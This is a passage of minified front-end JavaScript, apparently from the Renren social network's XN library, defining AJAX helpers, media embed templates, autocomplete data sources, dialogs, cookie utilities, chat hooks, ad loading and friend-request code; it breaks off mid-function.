XN.NET=XN.Net=XN.net;
XN.net.ajax=XN.net.xmlhttp;
$extend(XN.net.xmlhttp.prototype,{get:function(url,data,_14a,_14b){
this.url=url;
this.data=data;
this.onSuccess=_14a;
$extend(this,_14b);
this.send("get");
},post:function(url,data,_14e,_14f){
this.url=url;
this.data=data;
this.onSuccess=_14e;
$extend(this,_14f);
this.send("post");
}});
if(typeof Ajax=="undefined"){
Ajax={};
Ajax.Request=function(url,o){
var p=o.parameters;
o["url"]=url;
o["data"]=p;
delete o.parameters;
return new XN.net.xmlhttp(o);
};
}
XN.template={};
XN.template.mediaPlayer=function(o){
return ["<object classid=\"CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95\" width=\""+(o.width||"352")+"\" height=\""+(o.height||"70")+"\" >\n","<param name=\"autostart\" value=\""+(o.autostart||"1")+"\" >\n","<param name=\"showstatusbar\" value=\""+(o.showstatusbar||"1")+"\">\n","<param name=\"filename\" value=\""+o.filename+"\">\n","<embed type=\"application/x-oleobject\" codebase=\"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701\" ","flename=\"mp\"","autostart=\""+(o.autostart||"1")+"\" showstatusbar=\""+(o.showstatusbar||"1")+"\" ","src=\""+o.filename+"\" width=\""+(o.width||"352")+"\" height=\""+(o.height||"70")+"\"></embed>"].join("");
};
XN.template.flashPlayer=function(o){
return "<embed src=\""+XN.ENV.staticRoot+"/swf/player.swf?url="+o.filename+"&Rwid="+(o.width||"450")+"&Autoplay="+(o.autostart||"1")+"\" wmode=\""+(o.wmode||"transparent")+"\" loop=\"false\" menu=\"false\" quality=\"high\" scale=\"noscale\" salign=\"lt\" bgcolor=\"#ffffff\" width=\""+(o.width||"450")+"\" height=\""+(o.height||"30")+"\" align=\"middle\" allowScriptAccess=\""+(o.allowScriptAccess||"sameDomain")+"\" allowFullScreen=\"false\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" />";
};
XN.template.flash=function(o){
return "&nbsp;<embed src=\""+o.filename+"\" type=\"application/x-shockwave-flash\" "+"width=\""+(o.width||"320")+"\" height=\""+(o.height||"240")+"\" allowFullScreen=\"true\" wmode=\""+(o.wmode||"transparent")+"\" allowNetworking=\""+(o.allowNetworking||"all")+"\" allowScriptAccess=\""+(o.allowScriptAccess||"sameDomain")+"\"></embed>";
};
XN.Template=XN.TEMPLATE=XN.template;
XN.namespace("util");
XN.util.cache=function(_156){
$extend(this,_156);
this._cacheData=[];
};
XN.util.cache.prototype={cacheLength:null,_cacheData:null,isExist:function(key){
return this.get(key);
},add:function(key,_159){
if(!isUndefined(this.isExist(key))){
return;
}
if(this.cacheLength&&this.cacheLength==this._cacheData.length){
this._cacheData.shift();
}
this._cacheData.push({"key":key,"value":_159});
},get:function(key){
for(var i=this._cacheData.length-1;i>=0;i--){
if(this._cacheData[i].key==key){
return this._cacheData[i].value;
}
}
},clear:function(){
this._cacheData=[];
}};
XN.UTIL=XN.Util=XN.util;
XN.util.DS_JSON=function(p){
$extend(this,p);
};
XN.util.DS_JSON.prototype={DS_TYPE:"JSON",url:null,queryParam:"query",attachParam:"",rootKey:null,_request:null,query:function(v,_15e){
var This=this;
try{
this._request.abort();
}
catch(e){
}
function parseDS_JSON(r){
r=r.responseText;
var pp;
try{
var rt=XN.JSON.parse(r);
if(This.rootKey&&rt[This.rootKey]){
pp=rt[This.rootKey];
}else{
pp=rt;
}
}
catch(e){
pp=[];
}
_15e(pp);
}
this._request=new XN.net.xmlhttp({url:this.url,data:this.queryParam+"="+encodeURIComponent(v)+"&"+this.attachParam,method:"get",onSuccess:parseDS_JSON});
}};
XN.ui.DS_JSON=XN.util.DS_JSON;
XN.util.DS_friends=function(p){
var ds=new XN.util.DS_JSON(p);
ds.queryParam="p";
ds.rootKey="candidate";
ds.net="";
ds.group="";
ds.param=XN.json.build(p.param||{});
var _165=isUndefined(p.limit)?24:p.limit;
ds.query=function(name,_167){
XN.log("start query");
name=name.replace(/[^a-zA-Z\u0391-\uFFE5]/g,"");
if(XN.string.isBlank(name)&&this.group==""&&this.net==""){
_167([]);
return;
}
var p=["{\"init\":false,","\"qkey\":\""+this.qkey+"\",","\"uid\":true,","\"uname\":true,","\"uhead\":true,","\"limit\":"+_165+",","\"param\":"+this.param+",","\"query\":\""+name+"\",","\"group\":\""+this.group+"\",","\"net\":\""+this.net+"\"","}"].join("");
XN.util.DS_JSON.prototype.query.call(this,p,_167);
};
return ds;
};
XN.ui.DS_friends=XN.util.DS_friends;
XN.util.DS_Array=function(p){
$extend(this,p);
this.init();
};
XN.util.DS_Array.prototype={DS_TYPE:"array",data:null,searchKey:null,init:function(){
var key=this.searchKey,_16b=this._index=[];
XN.array.each(this.data,function(i,v){
_16b.push(v[key]);
});
},query:function(v,_16f){
_16f(this._search(v));
},_search:function(v){
var keys=this._index,data=this.data,rt=[],reg=new RegExp("^"+v,"i");
XN.array.each(keys,function(i,v){
if(reg.test(v)){
rt.push(data[i]);
}
});
return rt;
}};
XN.ui.DS_Array=XN.util.DS_Array;
XN.util.DS_XHR=function(p){
$extend(this,p);
};
XN.util.DS_XHR.prototype={url:null,queryParam:"query",_request:null,query:function(v,_179){
var This=this;
try{
this._request.abort();
}
catch(e){
}
function parseDS_XML(r){
r=r.responseXML;
var rt=[];
function getResult(r){
var tmp={};
XN.array.each(r.childNodes,function(i,v){
tmp[v.tagName.toLowerCase()]=v.firstChild.nodeValue;
});
return tmp;
}
try{
var rs=r.getElementsByTagName("Result");
XN.array.each(rs,function(i,v){
rt.push(getResult(v));
});
}
catch(e){
rt=[];
}
_179(rt);
}
this._request=new XN.net.xmlhttp({url:this.url,data:this.queryParam+"="+encodeURIComponent(v),onSuccess:parseDS_XML});
}};
XN.ui.DS_XHR=XN.util.DS_XHR;
(function(){
var _184={};
XN.util.hotKey={add:function(key,func,obj){
key=String(key).toLowerCase();
var ctrl=false;
var alt=false;
var _18a=false;
var _18b=null;
if(/^\d+$/.test(key)){
_18b=parseInt(key);
}else{
ctrl=/ctrl|ctr|c/.test(key);
alt=/alt|a/.test(key);
_18a=/shift|s/.test(key);
if(/\d+/.test(key)){
_18b=parseInt(/\d+/.exec(key)[0]);
}else{
_18b=false;
}
}
_184[key]=_184[key]||{};
_184[key][func]=function(e){
e=e||window.event;
code=e.keyCode;
if(ctrl&&!e.ctrlKey){
return;
}
if(alt&&!e.altKey){
return;
}
if(_18a&&!e.shiftKey){
return;
}
if(_18b&&code!==_18b){
return;
}
func.call(obj||null);
XN.event.stop(e);
};
XN.event.addEvent(document,"keydown",_184[key][func]);
},del:function(key,func){
key=String(key).toLowerCase();
XN.event.delEvent(document,"keydown",_184[key][func]);
delete _184[key][func];
}};
})();
(function(){
var id=0;
XN.util.createObjID=function(){
id++;
return id;
};
})();
XN.DO=XN.Do={};
(function(){
var _190=null;
var _191=null;
XN.DO.alert=function(_192,_193,type,X,Y,w,h,_199){
try{
_190.remove();
}
catch(e){
}
var _19a={type:"normal",width:400,button:"\u786e\u5b9a",callBack:XN.func.empty,autoHide:0,params:{addIframe:true}};
if(!isString(_192)){
$extend(_19a,_192);
}
if(isString(_192)||arguments.length>1){
var ars=arguments;
XN.array.each(["message","title","type","X","Y","width","height","callBack"],function(i,v){
if(ars[i]){
_19a[v]=ars[i];
}
});
}
var _19e=new XN.ui.dialog(_19a.params).setType(_19a.type).setTitle(_19a.title||(_19a.type=="error"?"\u9519\u8bef\u63d0\u793a":"\u63d0\u793a")).setBody(_19a.msg||_19a.message||"").setWidth(_19a.width).setHeight(_19a.height).setX(_19a.X).setY(_19a.Y).addButton({text:(_19a.yes||_19a.button),onclick:function(){
_19e.setAutoHide(true);
return true;
}}).show();
_19e.addEvent("hide",function(){
_19a.callBack.call(_19e);
});
_190=_19e;
if(_19a.noFooter){
_19e.footer.hide();
}
if(_19a.noHeader){
_19e.header.hide();
}
try{
_19e.getButton(_19a.button).focus();
}
catch(e){
}
if(_19a.autoHide){
_19e.autoHide(_19a.autoHide);
}
return _19e;
};
var _19f=null;
XN.DO.confirm=function(_1a0,_1a1,_1a2,yes,no,X,Y,w,h){
try{
_19f.remove();
}
catch(e){
}
var _1a9={type:"normal",width:400,yes:"\u786e\u5b9a",no:"\u53d6\u6d88",callBack:XN.func.empty,focus:null,params:{addIframe:true}};
if(!isString(_1a0)){
$extend(_1a9,_1a0);
}
if(isString(_1a0)||arguments.length>1){
var ars=arguments;
XN.array.each(["message","title","callBack","yes","no","X","Y","w","h"],function(i,v){
if(ars[i]){
_1a9[v]=ars[i];
}
});
}
var _1ad=new XN.ui.dialog(_1a9.params).setType(_1a9.type).setTitle(_1a9.title||(_1a9.type=="error"?"\u9519\u8bef\u63d0\u793a":"\u63d0\u793a")).setBody(_1a9.msg||_1a9.message||"").setWidth(_1a9.width).setHeight(_1a9.height).setX(_1a9.X).setY(_1a9.Y).addButton({text:(_1a9.submit||_1a9.yes),onclick:function(){
_1ad.setAutoHide(true);
return _1a9.callBack.call(_1ad,true);
}}).addButton({text:(_1a9.cancel||_1a9.no),onclick:function(){
_1ad.setAutoHide(true);
return _1a9.callBack.call(_1ad,false);
}}).show();
_1ad.getButton(_1a9.cancel||_1a9.no).addClass("gray");
if(_1a9.focus=="submit"){
_1a9.focus=_1a9.submit;
}else{
if(_1a9.focus=="cancel"){
_1a9.focus=_1a9.cancel;
}
}
_1ad.getButton(_1a9.focus||_1a9.submit||_1a9.yes).focus();
_19f=_1ad;
return _1ad;
};
XN.DO.showMessage=XN.DO.showMsg=function(msg,_1af,time){
var _1b1=XN.DO.alert({msg:msg,title:(_1af||"\u63d0\u793a"),noFooter:true,autoHide:(time||2)});
return _1b1;
};
XN.DO.showError=function(msg,_1b3,time){
var _1b5=XN.DO.alert({msg:msg,type:"error",title:(_1b3||"\u9519\u8bef\u63d0\u793a"),noFooter:true,autoHide:(time||2)});
return _1b5;
};
})();
XN.json={_ESCAPES:/\\["\\\/bfnrtu]/g,_VALUES:/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,_BRACKETS:/(?:^|:|,)(?:\s*\[)+/g,_INVALID:/^[\],:{}\s]*$/,_SPECIAL_CHARS:/["\\\x00-\x1f\x7f-\x9f]/g,_PARSE_DATE:/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})Z$/,_CHARS:{"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r","\"":"\\\"","\\":"\\\\"},dateToString:function(d){
function _zeroPad(v){
return v<10?"0"+v:v;
}
return "\""+d.getUTCFullYear()+"-"+_zeroPad(d.getUTCMonth()+1)+"-"+_zeroPad(d.getUTCDate())+"T"+_zeroPad(d.getUTCHours())+":"+_zeroPad(d.getUTCMinutes())+":"+_zeroPad(d.getUTCSeconds())+"Z\"";
},stringToDate:function(str){
if(XN.JSON._PARSE_DATE.test(str)){
var d=new Date();
d.setUTCFullYear(RegExp.$1,(RegExp.$2|0)-1,RegExp.$3);
d.setUTCHours(RegExp.$4,RegExp.$5,RegExp.$6);
return d;
}
},parse:function(str){
return eval("("+str+")");
},build:function(o,w,d){
var m=XN.JSON._CHARS,_1bf=XN.JSON._SPECIAL_CHARS,_1c0=[];
var _1c1=function(c){
if(!m[c]){
var a=c.charCodeAt();
m[c]="\\u00"+Math.floor(a/16).toString(16)+(a%16).toString(16);
}
return m[c];
};
var _1c4=function(s){
return "\""+s.replace(_1bf,_1c1)+"\"";
};
var _1c6=XN.JSON.dateToString;
var _1c7=function(o,w,d){
var t=typeof o,i,len,j,k,v,vt,a;
if(t==="string"){
return _1c4(o);
}
if(t==="boolean"||o instanceof Boolean){
return String(o);
}
if(t==="number"||o instanceof Number){
return isFinite(o)?String(o):"null";
}
if(o instanceof Date){
return _1c6(o);
}
if(isArray(o)){
for(i=_1c0.length-1;i>=0;--i){
if(_1c0[i]===o){
return "null";
}
}
_1c0[_1c0.length]=o;
a=[];
if(d>0){
for(i=o.length-1;i>=0;--i){
a[i]=_1c7(o[i],w,d-1)||"null";
}
}
_1c0.pop();
return "["+a.join(",")+"]";
}
if(t==="object"){
if(!o){
return "null";
}
for(i=_1c0.length-1;i>=0;--i){
if(_1c0[i]===o){
return "null";
}
}
_1c0[_1c0.length]=o;
a=[];
if(d>0){
if(w){
for(i=0,j=0,len=w.length;i<len;++i){
if(typeof w[i]==="string"){
v=_1c7(o[w[i]],w,d-1);
if(v){
a[j++]=_1c4(w[i])+":"+v;
}
}
}
}else{
j=0;
for(k in o){
if(typeof k==="string"&&typeof o[k]!="undefined"){
v=_1c7(o[k],w,d-1);
if(v){
a[j++]=_1c4(k)+":"+v;
}
}
}
}
}
_1c0.pop();
return "{"+a.join(",")+"}";
}
return undefined;
};
d=d>=0?d:1/0;
return _1c7(o,w,d);
}};
XN.JSON=XN.Json=XN.json;
(function(){
writepipe=function(uin,nick){
if(uin>0){
var s=GetCookie("_pipe");
if(s){
s+=":";
}
SetCookie("_pipe",s+uin+":"+escape(nick),null,"/",""+XN.env.domain+"");
}
var _1d6=GetCookie("_wi");
if("opening"==_1d6){
}else{
if("running"==_1d6){
}else{
SetCookie("_wi","opening",null,"/",XN.ENV.domain);
window.wiw=window.open("http://"+XN.env.domain+"/webpager.do?toid="+uin,"_blank","height=600,width=650,resizable=yes,location=yes");
if(window.wiw_checker){
window.clearInterval(window.wiw_checker);
}
window.wiw_checker=window.setInterval(function(){
if(window.wiw.closed){
window.clearInterval(window.wiw_checker);
SetCookie("_wi","",null,"/",XN.ENV.domain);
}
},1000);
return true;
}
}
try{
if(window.wiw){
window.wiw.focus();
}
}
catch(e){
}
return false;
};
talkto=function(uin,nick,tiny,_1da){
try{
var a=new ActiveXObject("xntalk.Application");
if(a){
a.openChat("",uin);
return true;
}
}
catch(e){
}
if(top.frames["imengine"].gPagerType==4){
if(top.frames["imengine"].imHelper.isLoginUser()){
var tabs=top.frames["imengine"].imui.chatTabs;
tabs.onActivateWidget(uin,nick,tiny,_1da);
tabs.switchFocus(uin);
return true;
}
}
try{
writepipe(uin,nick);
}
catch(e){
}
};
jump_and_download=function(link){
if(XN.BROWSER.IE){
window.open(link,"download_window","toolbar=0,location=no,directories=0,status=0,scrollbars=0,resizeable=0,width=1,height=1,top=0,left=0");
window.focus();
}
};
})();
function GetCookieVal(_70){
var _71=document.cookie.indexOf(";",_70);
if(_71==-1){
_71=document.cookie.length;
}
return unescape(document.cookie.substring(_70,_71));
}
function GetCookie(_72){
var arg=_72+"=";
var _74=arg.length;
var _75=document.cookie.length;
var i=0;
while(i<_75){
var j=i+_74;
if(document.cookie.substring(i,j)==arg){
return GetCookieVal(j);
}
i=document.cookie.indexOf(" ",i)+1;
if(i==0){
break;
}
}
return null;
}
function SetCookie(_78,_79){
var _7a=SetCookie.arguments;
var _7b=SetCookie.arguments.length;
var _7c=(_7b>2)?_7a[2]:null;
var _7d=(_7b>3)?_7a[3]:null;
var _7e=(_7b>4)?_7a[4]:null;
var _7f=(_7b>5)?_7a[5]:false;
document.cookie=_78+"="+escape(_79)+((_7c==null)?"":("; expires="+_7c.toGMTString()))+((_7d==null)?"":("; path="+_7d))+((_7e==null)?"":("; domain="+_7e))+((_7f==true)?"; secure":"");
}
var IMHack={};
(function(){
function css(ele,prop){
for(i in prop){
ele.style[i]=prop[i];
}
}
function getElementsByClass(_1f0,_1f1){
return XN.DOM.getElementsByClassName(_1f1,_1f0);
}
var _1f2=null;
var _1f3=null;
var _1f4=function(){
css(_1f2,{visibility:"hidden"});
clearTimeout(_1f3);
_1f3=setTimeout(function(){
css(_1f2,{visibility:"visible"});
_1f2.className=_1f2.className;
},500);
};
IMHack.hackToolBar=function(){
_1f2=document.getElementById("wpiroot");
css(_1f2,{position:"absolute",right:0});
$(window).addEvent("scroll",_1f4).addEvent("resize",_1f4);
};
IMHack.hackWidget=function(ele){
var _1f6=ele.getElementsByTagName("div")[0];
css(_1f6,{position:"absolute",bottom:"23px"});
if(getElementsByClass(ele,"buddy-list").length>0){
css(_1f6,{right:"-62px"});
}else{
if(getElementsByClass(ele,"notifications").length>0){
css(_1f6,{right:"-31px"});
}else{
if(getElementsByClass(ele,"status-control").length>0){
css(_1f6,{right:"-1px"});
}else{
if((/\bm-chat-button-chattab\b/.test(ele.className))){
css(ele,{position:"relative"});
css(getElementsByClass(ele,"m-chat-window")[0],{position:"absolute",right:"-2px",bottom:"23px"});
}else{
css(_1f6,{right:0});
}
}
}
}
};
})();
if(XN.browser.Gecko){
if(XN.string.getQuery("debug_mode")){
XN.debug.on();
}
}
(function(){
var _1f7=false;
window.render_jebe_ads=function(j){
if(!window.ad_js_version){
return;
}
XN.loadFile("http://jebe.xnimg.cn/"+ad_js_version+"/render.js",function(){
render_jebe_ads_load(j);
});
};
window.load_jebe_ads=function(s,r,_1fb){
if(!s){
return;
}
if(_1f7&&!_1fb){
return;
}
_1f7=true;
XN.dom.ready(function(){
var p=XN.cookie.get("id");
if(!p||XN.string.isBlank(p)){
p="";
}
var src="http://shaft.jebe.renren.com/show?userid="+encodeURIComponent(p)+"&tt="+new Date().getTime();
if(r){
src+="&r="+r;
}
if(_1fb){
src+="&reflush_new=1";
}
XN.loadFile({file:src,type:"js"});
});
};
})();
XN.USER=XN.user={};
XN.USER.me=function(_1fe){
};
currentUser={};
XN.event.enableCustomEvent(currentUser);
XN.USER.addFriendAction=function(p){
this.config={commentLength:45,needComment:true,requestURI:"http://friend."+XN.env.domain+"/ajax_request_friend.do"};
if(new RegExp("http://req."+XN.env.domain_reg).test(window.location.href)){
this.config.requestURI="http://friend."+XN.env.domain+""+this.config.requestURI;
}
$extend(this.config,p);
};
XN.user.addFriendAction.prototype={getConfig:function(key){
return this.config[key];
},send:function(id,why,from,code,_205){
var code=code!=1?0:1;
var _205=_205||"";
var This=this;
if(this.getConfig("needComment")){
if(XN.STRING.isBlank(why)){
this.fireEvent("checkError","\u60a8\u8f93\u5165\u7684\u4fe1\u606f\u4e0d\u80fd\u4e3a\u7a7a");
return;
}
}
if(why.length>this.getConfig("commentLength")){
this.fireEvent("checkError","\u60a8\u8f93\u5165\u7684\u4fe1\u606f\u4e0d\u80fd\u8d85\u8fc7"+this.getConfig("commentLength")+"\u4e2a\u5b57\u7b26");
return;
}
var data="id="+id+"&why="+why+"&codeFlag="+code+"&code="+_205;
this.fireEvent("beforePost");
new XN.NET.xmlhttp({url:this.getConfig("requestURI")+"?from="+from,"data":data,onSuccess:function(r){
r=r.responseText;
if(isJSON(r)){
var re=XN.JSON.parse(r);
}else{
re={result:-1};
}
if(re.result=="-1"){
This.fireEvent("flagError");
return;
}
This.fireEvent("success",id,r,from);
if(!window.currentUser){
return;
}
if(currentUser.fireEvent){
currentUser.fireEvent("addFriendSuccess",id,r,from);
}
if(currentUser.onaddFriendSuccess){
currentUser.onaddFriendSuccess(id,r);
}
},onError:function(){
This.fireEvent("error",id,from);
if(!window.currentUser){
return;
}
currentUser.fireEvent("addFriendError",id,r,from);
}});
}};
XN.EVENT.enableCustomEvent(XN.USER.addFriendAction.prototype);
XN.dynamicLoad({file:"http://s.xnimg.cn/jspro/xn.app.addFriend.js",funcs:["showRequestFriendDialog"]});
(function(){
if(!XN.browser.IE){
return;
}
var _20a="";
XN.dom.ready(function(){
_20a=document.getElementsByTagName("title")[0].innerHTML;
});
XN.event.addEvent(window,"load",function(){
setTimeout(function(){
document.title=_20a;
},1000);
});
})();
XN.namespace("ui");
(function(){
XN.ui.element={frame:null,iAmUIelement:true};
XN.array.each(["addClass","delClass","show","hide","remove"],function(i,v){
XN.ui.element[v]=function(){
XN.element[v].apply(null,[this.frame].concat(XN.array.build(arguments)));
};
});
XN.ui.container={container:null};
XN.array.each(["addChild","delChild","setContent"],function(i,v){
XN.ui.container[v]=function(){
XN.element[v].apply(null,[this.container].concat(XN.array.build(arguments)));
};
});
$extend(XN.ui.container,XN.ui.element);
})();
XN.UI=XN.Ui=XN.ui;
XN.ui.Element=XN.ui.element;
XN.ui.Content=XN.ui.container;
(function(ns){
var UI=XN.ui;
var _211=XN.event.addEvent;
var _212=true;
function log(s){
if(_212){
XN.log(isString(s)?"xn.ui.button:"+s:s);
}
}
ns.button=function(_214){
$extend(this,_214);
this.init();
};
ns.button.prototype=$extend({},UI.Element);
ns.button.prototype.text=null;
ns.button.prototype.className="";
ns.button.prototype.disableClassName="gray";
ns.button.prototype.init=function(){
var This=this;
var el;
if(this.getConfig("el")){
el=$(this.getConfig("el"));
}else{
el=$element("input");
}
this.frame=el;
el.type="button";
this.addClass("input-submit");
this.addClass(this.getConfig("className"));
this.setText(this.getConfig("text"));
_211(el,"click",function(){
if(This.onclick){
This.onclick();
}
},false);
};
ns.button.prototype.getConfig=function(key){
if(key=="el"){
return this.id;
}
return this[key];
};
ns.button.prototype.getEl=function(){
return this.frame;
};
ns.button.prototype.setText=function(text){
this.text=text;
this.getEl().value=text;
};
ns.button.prototype.disable=function(){
var el=this.getEl();
el.blur();
el.disabled=true;
el.addClass(this.getConfig("disableClassName"));
};
ns.button.prototype.enable=function(){
var el=this.getEl();
el.disabled=false;
el.delClass(this.getConfig("disableClassName"));
};
ns.button.prototype.focus=function(){
this.getEl().focus();
};
ns.button.prototype.blur=function(){
this.getEl().blur();
};
})(XN.ui);
(function(){
var rl="realLeft",rt="realTop",ow="offsetWidth",oh="offsetHeight";
XN.ui.fixPositionMethods={"1-1":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+"px";
f.style.top=y+el[rt]()-p[rt]()+"px";
},"1-2":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+"px";
},"1-3":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()-f[oh]+"px";
},"1-4":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+"px";
f.style.top=y+el[rt]()-p[rt]()-f[oh]+"px";
},"2-1":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+"px";
},"2-2":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+"px";
},"2-3":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()-f[oh]+"px";
},"2-4":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()-f[oh]+"px";
},"3-1":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]+"px";
},"3-2":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]-f[ow]+"px";
f.style.top=y+el[rt]()+el[oh]+"px";
},"3-3":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]-f[oh]+"px";
},"3-4":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+el[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]-f[oh]+"px";
},"4-1":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]+"px";
},"4-2":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]+"px";
},"4-3":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()-f[ow]+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]-f[oh]+"px";
},"4-4":function(f,el,x,y,p){
f.style.left=x+el[rl]()-p[rl]()+"px";
f.style.top=y+el[rt]()-p[rt]()+el[oh]-f[oh]+"px";
}};
})();
XN.ui.fixPositionElement=function(_26f){
var This=this;
this.config={tagName:"div",useIframeInIE6:true};
$extend(this.config,_26f);
var f,x,y;
if(this.getConfig("id")){
this.frame=f=$(this.getConfig("id"));
x=f.realLeft();
y=f.realTop();
}else{
if(this.getConfig("tagName")){
this.frame=this.container=f=$element(this.getConfig("tagName"));
}else{
return;
}
}
this.container=$element("div");
this.frame.appendChild(this.container);
XN.array.each(["alignWith","alignType","offsetX","offsetY","alignParent"],function(i,v){
This[v]=This.getConfig(v)||This[v];
});
XN.element.setStyle(f,"position:absolute;z-index:10001;left:-9999px;top:-9999px");
if(!$(this.alignParent)){
this.alignParent=$(document.body);
}
$(this.alignParent).appendChild(this.frame);
if((XN.browser.IE6&&this.getConfig("useIframeInIE6"))||this.getConfig("addIframe")){
var _276;
this._iframe=_276=$element("iframe");
_276.frameBorder=0;
_276.scrolling="no";
_276.setStyle("position:absolute;border:0px;left:0px;top:0px;z-index:-1;");
if(XN.browser.Gecko){
_276.setAttribute("style","position:absolute;border:0px;left:0px;top:0px;z-index:-1;");
}
if(XN.browser.IE){
_276.style.filter="progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)";
}
this.frame.appendChild(_276);
}
if(XN.element.visible(f)){
this.show();
}
f.style.display="block";
};
XN.ui.fixPositionElement.prototype=$extend({},XN.ui.container);
$extend(XN.ui.fixPositionElement.prototype,{alignWith:null,alignType:"4-1",offsetX:0,offsetY:0,alignParent:"dropmenuHolder",left:null,top:null,_isShow:false,getConfig:function(key){
return this.config[key];
},setOffsetX:function(x){
this.offsetX=x;
this.refresh();
return this;
},setOffsetY:function(y){
this.offsetY=y;
this.refresh();
return this;
},setAlignType:function(t){
this.alignType=t;
this.refresh();
return this;
},setAlignParent:function(p){
this.alignParent=p;
$(this.alignParent).appendChild(this.frame);
this.refresh();
return this;
},refresh:function(){
if(this.visible()){
this.show();
}else{
this.hide();
}
return this;
},visible:function(){
return this._isShow;
},show:function(){
this._isShow=true;
this.frame.show();
if(this.alignWith){
this._moveToElement(this.alignWith);
}else{
var x=this.left===null?parseInt((($(this.alignParent).offsetWidth-this.frame.offsetWidth)/2),10):this.left;
var y=this.top===null?XN.event.scrollTop()+200:this.top;
this._moveToPosition(x,y);
}
if(this._iframe){
try{
this._iframe.style.height=this.frame.offsetHeight-2+"px";
this._iframe.style.width=this.frame.offsetWidth+"px";
}
catch(e){
}
}
return this;
},hide:function(){
this._isShow=false;
var f=this.frame;
f.style.left="-9999px";
f.style.top="-9999px";
return this;
},moveTo:function(x,y){
if(!x&&!y){
return;
}
if(isNumber(x)){
this.left=x;
this.alignWith=null;
}else{
if(isString(x)||isElement(x)){
this.alignWith=$(x);
}
}
if(isNumber(y)){
this.top=y;
this.alignWith=null;
}
this.refresh();
return this;
},setX:function(x){
this.moveTo(x);
return this;
},setY:function(y){
this.moveTo(null,y);
return this;
},setIndex:function(i){
this.frame.style.zIndex=i;
return this;
},_moveToElement:function(el){
XN.ui.fixPositionMethods[this.alignType](this.frame,$(el),this.offsetX,this.offsetY,$(this.alignParent));
},_moveToPosition:function(x,y){
if(x){
this.frame.style.left=x+"px";
}
if(y){
this.frame.style.top=y+"px";
}
}});
(function(){
var _287=XN.ui.fixPositionElement.prototype;
var _288=XN.event;
XN.ui.dialog=function(_289){
var This=this;
XN.ui.fixPositionElement.call(this,_289);
this.container=$element("div");
this.frame.appendChild(this.container);
if(this.getConfig("HTML")){
this.setContent(this.getConfig("HTML"));
}else{
this.setContent(this.buildHTML());
}
this.dialogContainer=$("ui_dialog_container");
this.header=$("ui_dialog_header");
this.body=$("ui_dialog_body");
this.footer=$("ui_dialog_footer");
this.closeButton=$("ui_dialog_close");
this.header.addChild=this.body.addChild=this.footer.addChild=function(s){
XN.element.addChild(this,s);
setTimeout(function(){
This.refresh();
},0);
};
this.dialogContainer.removeAttribute("id");
this.header.removeAttribute("id");
this.body.removeAttribute("id");
this.footer.removeAttribute("id");
this.closeButton.removeAttribute("id");
if(this.getConfig("showCloseButton")){
this.closeButton.show();
XN.event.addEvent(this.closeButton,"click",function(){
This.hide();
});
}
this.frame.style.zIndex=10000;
this.setWidth(this.getConfig("width")||400);
if(this.getConfig("height")){
this.setHeight(this.getConfig("height"));
}
XN.array.each(["header","body","footer"],function(i,v){
if(This.getConfig(v)){
This[v].setContent(This.getConfig(v));
}
});
if(this.getConfig("type")){
this.setType(this.getConfig("type"));
}
this._buttons=[];
XN.event.addEvent(this.footer,"click",function(e){
e=e||window.event;
This._parseButtonEvent(e);
});
XN.util.hotKey.add("27",this._hotKeyEvent,this);
if(this.getConfig("modal")){
XN.dom.disable();
}
};
XN.ui.dialog.prototype=$extend({},_287);
$extend(XN.ui.dialog.prototype,{header:null,body:null,footer:null,_iframe:null,_buttons:null,buildHTML:function(){
return ["<table id=\"ui_dialog_container\" style=\"width: 100%; height: 100%;\" class=\"pop_dialog_table\">","<tbody>","<tr>","<td class=\"pop_topleft\"></td>","<td class=\"pop_border\"></td>","<td class=\"pop_topright\"></td>","</tr>","<tr>","<td class=\"pop_border\"></td>","<td class=\"pop_content\">","<h2><span id=\"ui_dialog_header\"></span><a style=\"display:none;\" class=\"close-button\" id=\"ui_dialog_close\" href=\"#nogo\">\u5173\u95ed</a></h2>","<div class=\"dialog_content\">","<div id=\"ui_dialog_body\" class=\"dialog_body\"></div>","<div id=\"ui_dialog_footer\" class=\"dialog_buttons\"></div>","</div>","</td>","<td class=\"pop_border\"></td>","</tr>","<tr>","<td class=\"pop_bottomleft\"></td>","<td class=\"pop_border\"></td>","<td class=\"pop_bottomright\"></td>","</tr>","</tbody>","</table>"].join("");
},getButton:function(text){
